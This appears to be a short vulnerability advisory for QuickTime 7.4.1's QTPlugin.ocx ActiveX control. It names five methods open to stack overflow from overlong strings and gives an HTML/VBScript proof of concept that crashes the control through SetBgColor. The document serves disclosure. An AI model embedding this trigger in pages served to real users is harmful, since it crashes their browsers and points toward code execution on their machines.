QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Web Site: http://www.apple.com/fr/quicktime/download/

Platform: Windows

Bug: Multiple Remote Stack Overflow

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1) Introduction

2) Bug

3) Proof of concept

4) Credits

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1) Introduction

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A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/

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2) Bug

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Stack Overflow/Denial of service occurs when supplying a long string to theses functions:

-SetBgColor

-SetHREF

-SetMovieName

-SetTarget

-SetMatrix

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3)Proof of concept

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Proof of concept example [works with the others functions supplyed in section 2) ] :

<html>

<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object>

<input type="button" value="Hit me" language="VBScript" OnClick="test()">

<script language="VBScript">

sub test()

bar = String(515305, "A")

foo.SetBgColor bar

End Sub

</script>

</html>

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5)Credits

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laurent gaffi

laurent.gaffie{remove_this}[at]gmail[dot]com